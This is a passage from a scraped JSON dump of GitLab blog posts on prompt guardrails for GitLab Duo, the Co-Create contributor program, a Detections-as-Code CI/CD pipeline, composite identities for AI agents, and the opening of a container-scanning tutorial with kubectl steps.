model interactions. When users ask GitLab Duo to troubleshoot a job failure, relevant logs are encapsulated in `\u003Clog>` tags. This structure guides the model to focus on specific data while working to prevent the influence from unauthorized or out-of-scope information.\n\n### Filtering and scanning tools\n\nWe employ tools like Gitleaks to scan inputs for secrets (API keys, passwords, etc.) before transmission to the AI. This filtering process helps minimize the potential for exposing confidential information or sending credentials into a model's prompt.\n\n### Role-based insights\n\nOur guardrails support focused AI discussions while contributing to customers' compliance efforts through controlled data handling and clear documentation. Organizations can adopt AI solutions designed to align with enterprise policies and risk tolerances.\n\n## Different approaches to prompt guardrails\n\nPrompt guardrails aren't one-size-fits-all solutions. Different strategies offer unique advantages, with effectiveness varying by use case and organizational requirements. GitLab combines multiple approaches to create a comprehensive system designed to balance security with usability.\n\n### System-level filters: The first line of defense\n\nSystem-level filters serve as a proactive barrier, scanning prompts for restricted keywords, patterns, or potentially harmful content. These filters work to identify and block potential risks — such as profanity, malicious commands, or unauthorized requests — before they reach the AI model.\n\nThis approach requires continuous updates to maintain effectiveness. As threats evolve, maintaining current libraries of restricted keywords and patterns becomes crucial. GitLab integrates these filters into its workflows to address potential risks at the earliest stage.\n\n### Model instruction tuning: Teaching the AI to stay on track\n\nInstruction tuning involves configuring AI behavior to align with specific guidelines. Our AI models are designed to reduce potentially problematic behaviors like role play, impersonation, or generating inappropriate content.\n\nThis foundation supports responses that remain informative, professional, and focused. When summarizing discussions or analyzing code, the AI maintains focus on the provided context, ideally mitigating potential deviation into unrelated topics.\n\n### Sidecar or gateway solutions: Adding a layer of protection\n\nSidecar or gateway solutions function as security checkpoints between users and AI models, processing both inputs and outputs. Like a customs officer reviewing luggage, these components help ensure only appropriate content passes through.\n\nThis approach proves particularly valuable in environments requiring strict information control, such as regulated industries or compliance-driven workflows.\n\n### Why GitLab combines these approaches\n\nNo single strategy addresses all potential risks. GitLab's hybrid approach combines system-level filters, instruction tuning, and sidecar solutions to create a robust security framework while maintaining usability.\n\nSystem-level filters provide initial screening, while instruction tuning aligns AI behavior with security standards. Sidecar solutions offer additional oversight, supporting transparency and control over data flow.\n\nThis combination creates a framework designed to support confident AI adoption while aiming to protect sensitive data and maintain compliance requirements.\n\n## Lessons learned\n\nWhile prompt guardrails help to significantly reduce risks, no system is infallible. Here are some lessons we have learned along the way:\n\n* Overly restrictive rules might hamper legitimate usage, frustrate developers, or slow down workflows. Striking the right balance between protecting data and providing real value is key.\n* Threat landscapes change, as do the ways people use AI. Regular updates to guardrails support alignment with current requirements and potential threats\n* At GitLab, we understand that no system can promise absolute security. Instead of making guarantees, we emphasize how our guardrails are designed to reduce risks and strengthen your defenses. This transparent approach builds trust by acknowledging that security is an ongoing process — one that we continuously refine to help support your organization’s evolving needs.\n* We gather feedback from actual user scenarios to iterate on our guardrails. Real-world insights help us refine instructions, tighten filters, and improve scanning tools over time.\n\n## Summary\n\nPrompt guardrails go beyond being a technical solution — they represent GitLab’s commitment to prioritizing AI security for our customers. By helping to reduce exposure, block harmful inputs, and ensure clear traceability of AI interactions, these guardrails aim to provide your teams with the confidence to innovate securely.\n\nWith [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our structured prompts, scanning tools, and carefully tuned instructions work together to help keep AI capabilities aligned with compliance standards and best practices. Whether you’re a developer, auditor, or decision-maker, these safeguards aim to enable you to embrace AI confidently while staying true to your organization’s security and compliance goals.\n\n> [Learn more about GitLab Duo and get started with a free, 60-day trial today!](https://about.gitlab.com/gitlab-duo/)",[790,676],{"slug":2686,"featured":92,"template":678},"how-gitlab-uses-prompt-guardrails-to-help-protect-customers","content:en-us:blog:how-gitlab-uses-prompt-guardrails-to-help-protect-customers.yml","How Gitlab Uses Prompt Guardrails To Help Protect Customers","en-us/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers.yml","en-us/blog/how-gitlab-uses-prompt-guardrails-to-help-protect-customers",{"_path":2692,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2693,"content":2698,"config":2706,"_id":2708,"_type":16,"title":2709,"_source":17,"_file":2710,"_stem":2711,"_extension":20},"/en-us/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"title":2694,"description":2695,"ogTitle":2694,"ogDescription":2695,"noIndex":6,"ogImage":1239,"ogUrl":2696,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2696,"schema":2697},"The Co-Create Program: How customers are collaborating to build GitLab","Learn how organizations like Thales, Scania, and Kitware are partnering with GitLab engineers to contribute meaningful features that benefit the entire community.","https://about.gitlab.com/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Co-Create Program: How customers are collaborating to build GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2025-01-30\",\n      }",{"title":2694,"description":2695,"authors":2699,"heroImage":1239,"date":2682,"body":2701,"category":2702,"tags":2703},[2700],"Fatima Sarah Khalid","This past year, over 800 community members have made more than 3,000 contributions to GitLab. These contributors include team members from global organizations like Thales, Scania, and Kitware, who are helping shape GitLab's future through the [Co-Create Program](https://about.gitlab.com/community/co-create/) — GitLab's collaborative development program where customers work directly with GitLab engineers to contribute meaningful features to the platform.\n\nThrough workshops, pair programming sessions, and ongoing support, program participants get hands-on experience with GitLab's architecture and codebase while solving issues or improving existing features.\n\n\"Our experience with the Co-Create Program has been incredible,\" explains Sébastien Lejeune, open source advocate at Thales. \"It only took two months between discussing our contribution with a GitLab Contributor Success Engineer and getting it live in the GitLab release.\"\n\nIn this post, we'll explore how customers have leveraged the Co-Create Program to turn their ideas into code, learning and contributing along the way.\n\n## The Co-Create experience\n[The GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit) helps contributors get started developing on GitLab. \"The advice I would give new contributors is to remember that you can't break anything with the GDK,\" says Hook. \"If you make a change and it doesn't work, you can undo it or start again. The beauty of GDK is that you can tinker, test, and learn without worrying about the environment.\"\n\nEach participating organization in the Co-Create Program receives support throughout their contribution journey:\n\n- __Technical onboarding workshop__: A dedicated session to set up the GitLab Development Kit (GDK) and understand GitLab's architecture\n- __1:1 engineering support__: Access to GitLab engineers for pair programming and technical guidance\n- __Architecture deep dives__: Focused sessions on specific GitLab components relevant to the issue the organization is contributing to\n- __Code review support__: Detailed feedback and guidance through the merge request process\n- __Regular check-ins__: Ongoing collaboration to ensure progress and address any challenges\n\nThis structure ensures that teams can contribute effectively, regardless of their prior experience with GitLab's codebase or the Ruby/Go programming language. As John Parent from Kitware notes, \"If you've never seen or worked with GitLab before, you're staring at a sophisticated architecture and so much code across different projects. The Co-Create Program helps distill what would take weeks of internal training into a targeted crash course.\"\n\nThe result is a program that not only helps deliver new features but also builds lasting relationships between GitLab and its user community. \"It's inspiring for our engineers to see the passion our customers bring to contributing to and building GitLab together,\" shares Shekhar Patnaik, principal engineer at GitLab. \"Customers get to see the 'GitLab way,' and engineers get to witness their commitment to shaping the future of GitLab.\"\n\n## Enhancing project UX with Thales\nWhen Thales identified opportunities to improve GitLab's empty project UI, they didn't just file a feature request — they built the solution themselves. Their contributions focused on streamlining the new project setup experience by simplifying SSH/HTTPS configuration with a tabbed interface and adding copy/paste functionality for the code snippets. These changes had a significant impact on developer workflows.\n\nThe team's impact extended beyond the UX improvements. Quentin Michaud, PhD fellow for cloud applications on the edge at Thales, contributed to improving the GitLab Development Kit (GDK). As a package maintainer for Arch Linux, Michaud's expertise helped improve GDK's documentation and support its containerization efforts, making it easier for future contributors to get started.\n\n\"My open source experience helped me troubleshoot GDK's support for Linux distros,” says Michaud. “While improving package versioning documentation, I saw that GitLab's Contributor Success team was also working to set up GDK into a container. Seeing our efforts converge was a great moment for me — it showed how open source collaboration can help build better solutions.\"\n\nThe positive experience for the Thales team means that Lejeune now uses the Co-Create Program as \"a powerful example to show our managers the return on investment from open source contributions.\"\n\n## Advancing package support with Scania\nWhen Scania needed advanced package support in GitLab, they saw an opportunity to contribute and build it themselves. \n\n\"As long-time GitLab users who actively promote open source within our organization, the Co-Create Program gave us a meaningful way to contribute directly to open source,\" shares Puttaraju Venugopal Hassan, solution architect at Scania.\n\nThe team started with smaller changes to familiarize themselves with the codebase and review process, then progressed to larger features. \"One of the most rewarding aspects of the Co-Create Program has been looking back at the full, end-to-end process and seeing how far we've come,\" reflects Océane Legrand, software developer at Scania. \"We started with discovery and smaller changes, but we took on larger tasks over time. It's great to see that progression.\" \n\nTheir contributions include bug fixes for the package registry and efforts to enhance the Conan package registry feature set, bringing it closer to general availability (GA) readiness while implementing Conan version 2 support. Their work and collaboration with GitLab demonstrates how the Co-Create Program can drive significant improvements to GitLab’s package registry capabilities.\n\n\"From the start, our experience with the Co-Create Program was very organized. We had training sessions that guided us through everything we needed to contribute. One-on-one sessions with a GitLab engineer also gave us an in-depth look at GitLab’s package architecture, which made the contribution process much smoother,\" said Juan Pablo Gonzalez, software developer at Scania. \n\nThe impact of the program goes beyond code — program participants are also building valuable skills as a direct result of their contributions. In [the GitLab 17.8 release](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), both Legrand and Gonzalez were recognized as GitLab MVPs. Legrand talked about how the work she's doing in open source impacts both GitLab and Scania, including building new skills for her and her team: \"Contributing through the Co-Create Program has given me new skills, like experience with Ruby and background migrations. When my team at Scania faced an issue during an upgrade, I was able to help troubleshoot because I'd already encountered it through the Co-Create Program.\"\n\n## Optimizing authentication for high-performance computing with Kitware\nKitware brought specialized expertise from their work with national laboratories to improve GitLab's authentication framework. Their contributions included adding support for the OAuth2 device authorization grant flow in GitLab, as well as implementing new database tables, controllers, views, and documentation. This contribution enhances GitLab's authentication options, making it more versatile for devices without browsers or with limited input capabilities.\n\n\"The Co-Create Program is the most efficient and effective way to contribute to GitLab as an external contributor,\" shares John Parent, R&D engineer at Kitware. \"Through developer pairing sessions, we found better implementations that we might have missed working alone.\"\n\nAs a long-time open source contributor, Kitware particularly appreciated GitLab's approach to development. \"I assumed GitLab wouldn't rely on out-of-the-box solutions at its scale, but seeing them incorporate a Ruby dependency instead of building a custom in-house solution was great,” says Parent. “Coming from the C++ world, where package managers are rare, it was refreshing to see this approach and how straightforward it could be.\"\n\n## Building better together: Benefits of Co-Create\nThe Co-Create Program creates value that flows both ways. \"The program bridges a gap between us as GitLab engineers and our customers,\" explains Imre Farkas, staff backend engineer at GitLab. \"As we work with them, we hear their day-to-day challenges, the parts of GitLab they rely on, and where improvements can be made. It's great to see how enthusiastic they are about getting involved in building GitLab with us.\"\n\nThis collaborative approach also accelerates GitLab's development. As Shekhar Patnaik, principal engineer at GitLab, observes: \"Through Co-Create, our customers are helping us move our roadmap forward. Their contributions allow us to deliver critical features faster, benefitting our entire user base. As the program scales, there's a real potential to accelerate development on our most impactful features by working alongside the very people who rely on them.\"\n\n## Get started with Co-Create\nReady to turn your feature requests into reality? Whether you're looking to enhance GitLab's UI like Thales, improve package support like Scania, or optimize authentication like Kitware, the Co-Create Program welcomes organizations who want to actively shape GitLab's future while building valuable open source experience.\n\nContact your GitLab representative to learn more about participating in the Co-Create Program, or visit our [Co-Create page](https://about.gitlab.com/community/co-create/) for more information.\n","customer-stories",[2704,815,2705],"contributors","customers",{"slug":2707,"featured":92,"template":678},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab","content:en-us:blog:the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","The Co Create Program How Customers Are Collaborating To Build Gitlab","en-us/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab.yml","en-us/blog/the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"_path":2713,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2714,"content":2719,"config":2724,"_id":2726,"_type":16,"title":2727,"_source":17,"_file":2728,"_stem":2729,"_extension":20},"/en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd",{"title":2715,"description":2716,"ogTitle":2715,"ogDescription":2716,"noIndex":6,"ogImage":2007,"ogUrl":2717,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2717,"schema":2718},"Automating cybersecurity threat detections with GitLab CI/CD","Discover how GUARD automates cybersecurity threat detections through the use of GitLab CI/CD and how it ensures high-quality detections.","https://about.gitlab.com/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Automating cybersecurity threat detections with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":2715,"description":2716,"authors":2720,"heroImage":2007,"date":2721,"body":2722,"category":674,"tags":2723},[1544],"2025-01-29","*This blog post is the second post in a series about [GitLab Universal Automated Response and Detection (GUARD)](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/).*\n\nWriting and deploying security threat detections in an organization’s security information event management platform (SIEM) is a critical component of a successful cybersecurity program. Moving from manual detection engineering to a fully automated process by implementing Detections as Code (DaC) ensures detection consistency, quality, auditing, and automated testing. At GitLab, we’ve embedded DaC capabilities into GUARD, our fully automated detection and response framework. \n\n## The problem: Source control and automated tests\n\nThe [Signals Engineering](https://handbook.gitlab.com/handbook/security/security-operations/signals-engineering/) and [SIRT](https://handbook.gitlab.com/handbook/security/security-operations/sirt/) team at GitLab share the responsibility to create, update, and decommission threat detections in our SIEM. Maintaining a single source of truth for detections is critical to ensure detection consistency and quality standards are met. Our teams made the conscious decision to abstract the detection creation process from our SIEM, improving our issue tracking, consistency, roll-back process, and metrics. Additionally, conducting pre-commit detection tests outside of our SIEM ensured that newly created detections didn’t introduce overly false positive heavy alerts, which would require tuning or disablement while the alert was fixed. \n\n## The Solution: Leverage GitLab CI/CD for detection testing and validation\n\nTo address these challenges, we developed an efficient workflow using GitLab [CI/CD](https://about.gitlab.com/topics/ci-cd/), resulting in a streamlined and secure SIEM detection deployment process.\n\n### Key components of the GUARD DaC pipeline \n\n__1. Detections stored in JSON format in a GitLab project__\n\nGitLab uses the JSON format for our threat detections. The template includes essential information such as SIEM query logic, detection title, and description along with runbook page link, MITRE tactic and technique related to the detection, and other necessary details.\n\n__2. Initiating merge requests__\n\nWhen a GitLab team member intends to create a new threat detection, update an existing one, or delete a current detection, they initiate the process by submitting a merge request (MR) in the DaC project containing the detection JSON template. Creating the MR automatically triggers a CI/CD pipeline.\n\n__3. Automated validation with CI/CD jobs__\n\nEach MR contains a number of automated checks via GitLab CI/CD:   \n* Query format validation queries SIEM API to ensure detection query is valid  \n* JSON Detection fields validation validates all required fields are present, and are in the correct format   \n* New detections and detection modification trigger a number of SIEM API calls to ensure the detection does not have any errors and that no issues will be introduced into our production detection rules   \n* Detection deletion MRs trigger the pipeline to issue a SIEM API query to ensure the detection to be deleted is still active and can be deleted \n\n__4. Peer review and approval__\n\nWhen a detection MR job completes successfully, a peer review is required to review and confirm the MR meets required quality and content standards before the detection MR can be merged. [Merge request approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html) are used to trigger the peer review process. \n\n__5. Merge and final deployment__\n\nAfter the MR is approved, it is merged into the main branch. As part of the CI/CD pipeline, an automated job executes a SIEM API command in order to perform two tasks:   \n* Create the new detection or update/delete the existing detection if needed.   \n* Extract the MITRE ATT&CK tactic and technique information related to the alert from the JSON files and transmit these details to a lookup table within the SIEM. This lookup table plays an important role in mapping our alerts to MITRE tactics and techniques, helping us improve our threat analysis and identify gaps in our detection capabilities in alignment with the MITRE framework.\n\n**Note:** The necessary credentials for these actions are securely stored in [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) to ensure the process remains confidential and secure.\n\nBelow is a template GitLab CI/CD `gitlab-ci.yml` configuration file for a DaC pipeline: \n\n```\n\n# --------------------------------------------------------------------------- #\n# GitLab CI/CD Pipeline for SIEM Detection Management\n# --------------------------------------------------------------------------- #\n\nimage: python:3.12\n\n# --------------------------------------------------------------------------- #\n# Global Configuration\n# --------------------------------------------------------------------------- #\n\nbefore_script:\n  - apt-get update && apt-get install -y jq\n  - pip install --upgrade pip\n  - pip install -r requirements.txt\n\n# --------------------------------------------------------------------------- #\n\nstages:\n  - fetch\n  - test\n  - process\n  - upload\n\n# --------------------------------------------------------------------------- #\n# Fetch Stage\n# --------------------------------------------------------------------------- #\n\nfetch_changed_files:\n  stage: fetch\n  Script:\n    - echo \"Fetching changed files...\"\n    - git branch\n    - git fetch origin $CI_DEFAULT_BRANCH:$CI_DEFAULT_BRANCH --depth 2000\n    - |\n      if [[ \"$CI_COMMIT_BRANCH\" == \"$CI_DEFAULT_BRANCH\" ]]; then\n        git diff --name-status HEAD^1...HEAD > changed-files-temp.txt\n      else\n        git fetch origin $CI_COMMIT_BRANCH:$CI_COMMIT_BRANCH --depth 2000\n        git diff --name-status ${CI_DEFAULT_BRANCH}...${CI_COMMIT_SHA} > changed-files-temp.txt\n      fi\n    - grep -E '\\.json$' changed-files-temp.txt > changed-files.txt || true\n    - flake8 .\n    - pytest\n  artifacts:\n    paths:\n      - changed-files.txt\n    expose_as: 'changed_files'\n\n# --------------------------------------------------------------------------- #\n# Test Stage\n# --------------------------------------------------------------------------- #\n\nflake8:\n  stage: test\n  script:\n    - echo \"Running Flake8 for linting...\"\n    - flake8 .\n\npytest:\n  stage: test\n  script:\n    - echo \"Running Pytest for unit tests...\"\n    - pytest\n  artifacts:\n    when: always\n    reports:\n      junit: report.xml\n\n# --------------------------------------------------------------------------- #\n# Process Stage\n# --------------------------------------------------------------------------- #\n\nprocess_files:\n  stage: process\n  script:\n    - echo \"Processing changed files...\"\n    - git clone --depth 2000 --branch $CI_DEFAULT_BRANCH $CI_REPOSITORY_URL\n    - mkdir -p modified_rules delete_file new_file\n    - python3 move-files.py -x changed-files.txt\n    - python3 check-alerts-format.py\n  artifacts:\n    paths:\n      - modified_rules\n      - delete_file\n      - new_file\n# --------------------------------------------------------------------------- #\n# Upload Stage\n# --------------------------------------------------------------------------- #\n\nupdate_rules:\n  stage: upload\n  script:\n    - echo \"Uploading updated rules and lookup tables...\"\n    - git fetch origin $CI_DEFAULT_BRANCH:$CI_DEFAULT_BRANCH --depth 2000\n    - git clone --depth 2000 --branch $CI_DEFAULT_BRANCH $CI_REPOSITORY_URL \n    - python3 update-rules.py\n    - python3 update-exceptions.py\n    - python3 create_ttps_layers.py\n  rules:\n    - if: $CI_COMMIT_BRANCH == \"main\" && $CI_PIPELINE_SOURCE != \"schedule\"\n      changes:\n        - detections/**/*\n        - exceptions/**/*\n```\n\nThe diagram below illustrates the workflow of the CI/CD process described above.\n\n```mermaid\ngraph TD;\n    fetch[Fetch Stage: Identify Changed Files] --> test[Test Stage: Run Linting and Tests];\n    test --> process[Process Stage: Categorize Files];\n    process --> upload[Upload Stage: Update Rules and Lookup Tables];\n    fetch --> fetch_details[Details: Filter JSON files, Output 'changed-files.txt'];\n    test --> test_details[Details: Run Flake8 for linting, Pytest for testing];\n    process --> process_details[Details: Categorize into 'modified', 'new', 'deleted', Prepare for upload];\n    upload --> upload_details[Details: Update repo, Update detections in SIEM and SIEM lookup table];\n```\n\n## Benefits and outcomes\n\nAutomating our detections lifecycle through a DaC CI/CD-powered workflow introduces numerous benefits to our threat detection deployment process:\n\n* Automation: Automating the creation and validation of SIEM detections reduces manual errors and saves time.\n* Enhanced security: The CI-driven workflow enforces a \"least privilege\" policy, ensuring consistency, peer reviews, and quality standards for creating, updating, or deleting threat detections. \n* Efficiency: The standardized JSON detection format and automated creation expedite the deployment process.\n* Collaboration: The MR and review process fosters collaboration and knowledge sharing among GitLab team members.\n* Version control: Treating threat detection as code abstracts the detections from the SIEM platform they are ultimately stored in. This abstraction provides a historical record of changes, facilitates collaboration, and enables rollbacks to previous configurations if issues arise.\n\n## Get started with DaC\n\nUsing GitLab CI/CD and a \"least privilege\" policy has made our SIEM detection and alert management easier and more secure. Automation has improved efficiency and reduced risks, providing a helpful example for others wanting to improve their security and compliance. You can try this tutorial by signing up for a [free 60-day trial of GitLab Ultimate](https://about.gitlab.com/free-trial/).",[674,696,943,479,110],{"slug":2725,"featured":6,"template":678},"automating-cybersecurity-threat-detections-with-gitlab-ci-cd","content:en-us:blog:automating-cybersecurity-threat-detections-with-gitlab-ci-cd.yml","Automating Cybersecurity Threat Detections With Gitlab Ci Cd","en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd.yml","en-us/blog/automating-cybersecurity-threat-detections-with-gitlab-ci-cd",{"_path":2731,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2732,"content":2738,"config":2743,"_id":2745,"_type":16,"title":2746,"_source":17,"_file":2747,"_stem":2748,"_extension":20},"/en-us/blog/improve-ai-security-in-gitlab-with-composite-identities",{"title":2733,"description":2734,"ogTitle":2733,"ogDescription":2734,"noIndex":6,"ogImage":2735,"ogUrl":2736,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2736,"schema":2737},"Improve AI security in GitLab with composite identities","Learn how to implement AI features responsibly by applying authentication best practices with service accounts for AI agents in GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664638/Blog/Hero%20Images/applicationsecurity.png","https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improve AI security in GitLab with composite identities\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Grzegorz Bizon\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":2733,"description":2734,"authors":2739,"heroImage":2735,"date":2721,"body":2741,"category":674,"tags":2742},[2740],"Grzegorz Bizon","Artificial intelligence (AI) is quickly becoming the backbone of modern software development, fueling developer efficiency and accelerating innovation. With the emergence of AI agents implementing code based on instructions from humans, we are learning that implementing AI-based features has its own unique set of security challenges. **How do we protect access to the resources AI needs, protect confidentiality, and avoid privilege escalation**? Few organizations are ready to answer these questions today. At GitLab, we are. We are introducing a new paradigm for identity management: composite identities.\n\nWhen AI agents are integrated into your DevSecOps workflows, previously simple questions become difficult to answer: Who authored this code? Who is the author of this merge request? Who created this Git commit? We found we had to start asking new questions: Who instructed an AI agent to generate this code? What context did AI need to build this feature? What were the resources AI had to access and read to generate the answer?\n\nTo answer these questions, we need to understand some fundamental aspects of AI’s identity:\n\n* Does an AI agent have its own distinct identity?\n* What is the representation of this identity?\n* How do we make it all secure?\n\n### Authentication and AI identity management \n\nWe are at the beginning of a paradigm shift in identity management in the software delivery lifecycle. Before the AI era, identity management was simpler. We had human user-based identities and machine-type identities using separate accounts.\n\nWith the emergence of AI and agentic workflows, the distinction between these two core types of identities has blurred. AI agents are supposed to work in an autonomous way, so it makes sense to think about them as machine-type accounts. On the other hand, AI agents are usually being instructed by human users, and require access to resources the human users have access to in order to complete their tasks. This introduces significant security risks — for example, the AI may provide human users with information they should not have access to. How do we avoid privilege escalation, provide auditability, and protect confidentiality in a world with AI agents?\n\n### The solution: Composite identities\n\nA composite identity is our new identity [principal](https://cloud.google.com/iam/docs/overview#concepts_related_identity), representing an AI agent’s identity that is linked with the identity of a human user who requests actions from the agent. **This enhances our ability to protect resources stored in GitLab**. Whenever an AI agent with a composite identity attempts to access a resource, we will not only authenticate the agent itself, but also link its principal with a human user who is instructing the agent, and will try to authorize both principals before granting access to a resource. Both principals need access; otherwise, the access will be denied. If an AI agent by itself can access a project, but a human user who instructed the agent to do so cannot, GitLab will deny the access.\n\nThe inverse is true as well — if a human user can access a confidential issue, but an AI agent can’t, then its service account will not be able to read the issue. We authorize access to every API request and for each resource an agent attempts to access this way. Composite identity without a request-scoped link to a human account will not be authorized to access any resource. For fully autonomous workloads we are also considering adding support for linking composite identities with other principals.\n\n#### Composite identity and service accounts\n\nWe redesigned our authorization framework to support composite identities, allowing multiple principals to be evaluated simultaneously when determining access rights to a resource. We enhanced our security infrastructure by implementing scoped identities across our entire system — from API requests to CI jobs and backend workers. These identities are linked to an AI agent's composite identity account also through OAuth tokens and CI job tokens. This project yielded unexpected security benefits, particularly in GitLab CI, where we upgraded job tokens to signed JSON web tokens (JWTs). Additionally, we contributed code to several open source libraries to add support for scoped identities.\n\n### Composite identity with GitLab Duo with Amazon Q\n\nIn the GitLab 17.8 release, we made composite identity for service accounts support available for customers through our GitLab Duo with Amazon Q integration. Amazon Q Developer agent will have composite identity enforced, which will protect your confidential GitLab resources from unauthorized access.\n\n### What’s next?\n\nTo learn more, check out our [composite identity docs](https://docs.gitlab.com/ee/development/ai_features/composite_identity.html).",[790,943,674],{"slug":2744,"featured":6,"template":678},"improve-ai-security-in-gitlab-with-composite-identities","content:en-us:blog:improve-ai-security-in-gitlab-with-composite-identities.yml","Improve Ai Security In Gitlab With Composite Identities","en-us/blog/improve-ai-security-in-gitlab-with-composite-identities.yml","en-us/blog/improve-ai-security-in-gitlab-with-composite-identities",{"_path":2750,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2751,"content":2757,"config":2761,"_id":2763,"_type":16,"title":2764,"_source":17,"_file":2765,"_stem":2766,"_extension":20},"/en-us/blog/improve-security-auditing-with-gitlab-operational-container-scanning",{"title":2752,"description":2753,"ogTitle":2752,"ogDescription":2753,"noIndex":6,"ogImage":2754,"ogUrl":2755,"ogSiteName":1180,"ogType":1181,"canonicalUrls":2755,"schema":2756},"Improve security auditing with GitLab Operational Container Scanning","Learn how to conduct container vulnerability scans post-deployment to raise awareness of existing threats and to track resolution of vulnerabilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664654/Blog/Hero%20Images/AdobeStock_1172300481.jpg","https://about.gitlab.com/blog/improve-security-auditing-with-gitlab-operational-container-scanning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improve security auditing with GitLab Operational Container Scanning\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Helfand\"}],\n        \"datePublished\": \"2025-01-29\",\n      }",{"title":2752,"description":2753,"authors":2758,"heroImage":2754,"date":2721,"body":2759,"category":674,"tags":2760},[2505],"Conducting security scans is a regular part of any software development process. Whether scanning source code (e.g., Java, Python, or other languages), configuration files (e.g., YAML files), or [container images](https://cloudnativenow.com/kubecon-cnc-na-2024/unlocking-the-full-potential-of-container-vulnerability-scans/), these scanning tools help development teams be proactive about understanding and addressing security threats. \n\nTraditionally, developers run these [security scans as part of CI/CD pipelines](https://docs.gitlab.com/ee/user/application_security/container_scanning/). By including these scans in CI/CD, every change to a project will be reviewed to see if any vulnerabilities are introduced. Understanding security concerns during development helps to assure that changes are addressed before they are deployed to a live environment, but there are many additional benefits to conducting container vulnerability scans post deployment as well.\n\n[GitLab's Operational Container Scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html) feature allows DevSecOps practitioners to run container vulnerability scans against containers running in a Kubernetes environment. The benefits of conducting a vulnerability scan on deployed containers include regularly scanning the images for new vulnerabilities that are discovered, tracking which environments certain vulnerabilities are deployed to, and also tracking the progress of resolving these vulnerabilities. \n\nThe scans can be configured to run on a regular cadence and on containers in specific namespaces on a Kubernetes cluster. The results of these scans are then sent back to GitLab projects to be viewed via the GitLab UI. To show exactly how the feature works, the next steps in this article will demonstrate how to apply the Operational Container Scanning feature using a GitLab project, sample application, and a Kubernetes cluster. \n\n## Prerequisites\n\nTo get started, you will need the following:   \n* [GitLab Ultimate account](https://about.gitlab.com/free-trial/)   \n* Kubernetes cluster that meets [GitLab’s Kubernetes version requirements](https://docs.gitlab.com/ee/user/clusters/agent/#supported-kubernetes-versions-for-gitlab-features)  \n* [kubectl CLI](https://kubernetes.io/docs/tasks/tools/#kubectl)\n* [helm CLI](https://helm.sh/docs/intro/install/)\n\nAdditionally, the walkthrough below will use a [GitLab project](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial) that can be forked into a [GitLab group](https://docs.gitlab.com/ee/user/group/) where you have appropriate permissions to carry out the steps that follow. \n\n## Deploy a sample application\n\nThe first action we will carry out is to deploy a sample application to the Kubernetes cluster you will use in this tutorial. Before running the `kubectl` command to deploy a sample application, take a moment to make sure your `KUBECONFIG` is set to the cluster you would like to use. Once you are set up to use your cluster, run the following command:\n\n```bash  \n$ kubectl apply -f\nhttps://gitlab.com/gitlab-da/tutorials/cloud-native/go-web-server/-/raw/main/manifests/go-web-server-manifests.yaml\n\nnamespace/go-web-server-dev created  \ndeployment.apps/go-web-server created  \nservice/go-web-server created  \n```\n\nWait for all the pods to be running in the `go-web-server-dev` namespace by running the command below:\n\n```bash  \n$ kubectl get pods -n go-web-server-dev -w  \n```\n\nYou should see output similar to what is shown below:\n\n```  \nNAME                            READY   STATUS    RESTARTS   AGE  \ngo-web-server-f6b8767dc-57269   1/1     Running   0          18m  \ngo-web-server-f6b8767dc-fkct2   1/1     Running   0          18m  \ngo-web-server-f6b8767dc-j4qwg   1/1     Running   0          18m  \n```\n\nOnce everything is running, you can set up your forked GitLab project to connect to your Kubernetes cluster and configure the Operational Container Scanning properties. \n\n## Connect Kubernetes cluster\n\nIn this section, you will learn how to connect a Kubernetes cluster to your GitLab project via the [GitLab Agent for Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/). By configuring and installing the agent on your Kubernetes cluster, you will be able to also configure Operational Container Scanning. \n\n### Change the id property for GitLab’s Kubernetes agent\n\nIn the forked GitLab project you are using, change the [`id` property in the config.yaml file](https://gitlab.com/gitlab-da/tutorials/cloud-native/operational-container-scanning-tutorial/-/blob/main/.gitlab/agents/k8s-agent/config.yaml?ref\\_type=heads\\#L5) to match the group where you have forked the project. By doing this, you will configure the GitLab Agent for Kubernetes to pass information about your cluster back to your GitLab project. Make sure to commit and push this change back to the main branch of the forked 